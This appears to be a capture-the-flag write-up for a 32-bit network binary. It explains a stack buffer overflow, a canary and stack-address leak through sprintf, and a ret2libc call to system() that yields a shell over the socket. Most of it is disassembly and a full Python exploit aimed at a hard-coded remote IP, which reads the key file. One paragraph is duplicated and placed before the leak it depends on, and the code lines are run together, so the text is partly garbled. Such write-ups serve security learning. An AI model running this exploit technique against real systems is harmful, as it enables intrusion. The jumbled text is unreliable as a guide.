We were given a 32 bit ELF running on Ubuntu 13.10 x86 system with NX, Stack Canary and ASLR enabled. The vulnerability is in the function that handles option 4.
We have the address of stack and canary. Idea of the final payload is to call system("sh<&4 >&4"). For this, we leaked information of __libc_start_main's randomized address and computed offsets to the system() function. Now this is what the payload looks like
buf = dword ptr -16h .text:0804902F mov dword ptr [esp+8], 6Eh ; nbytes .text:08049037 lea eax, [ebp+buf] .text:0804903A mov [esp+4], eax ; buf .text:0804903E mov eax, [ebp+fd] .text:08049041 mov [esp], eax ; fd .text:08049044 call _read ; buffer overflow here .text:08049049 movzx eax, byte ptr [ebp+buf] .text:0804904D cmp al, 79h .text:0804904F jnz canary_check0x6E bytes can overflow the stack but stack canary should be bypassed to overwrite saved EIP. We can take advantage of below piece of code to get information leak.
.text:08049055 lea eax, [ebp+buf] .text:08049058 mov [esp+8], eax .text:0804905C mov dword ptr [esp+4], offset choice ; "You choose '%s'!\n" .text:08049064 mov dword ptr [esp], offset s ; s .text:0804906B call _sprintf .text:08049070 mov [ebp+n], eax .text:08049073 mov eax, [ebp+n] .text:08049076 mov [esp+8], eax ; n .text:0804907A mov dword ptr [esp+4], offset s ; buf .text:08049082 mov eax, [ebp+fd] .text:08049085 mov [esp], eax ; fd .text:08049088 call _writeThis is what the memory layout looks like
[10 bytes buffer | 4 bytes canary | 8 bytes buffer | 4 bytes EBP | 4 bytes EIP]Writing 10 bytes to buffer will concatenate the buffer with canary, such that sprintf() will read all 14 bytes since there is no NUL byte to terminate the memory area. But remote server had a canary value with NUL byte, so overwrite with 11 bytes to leak information about the canary. This will give us the canary value along with saved EBP, thus leaking the random address of stack.
We have the address of stack and canary. Idea of the final payload is to call system("sh<&4 >&4"). For this, we leaked information of __libc_start_main's randomized address and computed offsets to the system() function. Now this is what the payload looks like
[nnnnnnnnnn(10 bytes) | leaked canary(4 bytes) | 12 bytes junk | system@libc | 0xdeadbeef | arg ]Below is the final exploit:
#!/usr/bin/env python import struct import socket import time ip = '127.0.0.1' ip = '58.229.183.18' port = 8888 canary = 0x008bc384 ebp = 0xbfb0a7d8 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) time.sleep(3) soc.recv(8192) soc.send("4\n") time.sleep(1) soc.recv(512) canary = struct.pack(">I", canary) payload = "n" * 10 payload += canary payload += "A"*12 # padding payload += struct.pack("<I", 0xb759f260) # overwrite EIP with system@libc payload += struct.pack("<I", 0xdeadbeef) payload += struct.pack("<I", ebp-16) payload += "sh<&4 >&4\x00" soc.send(payload + "\n") soc.send('cat /home/angry_doraemon/key\n') print soc.recv(1024)Flag for the challenge is CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP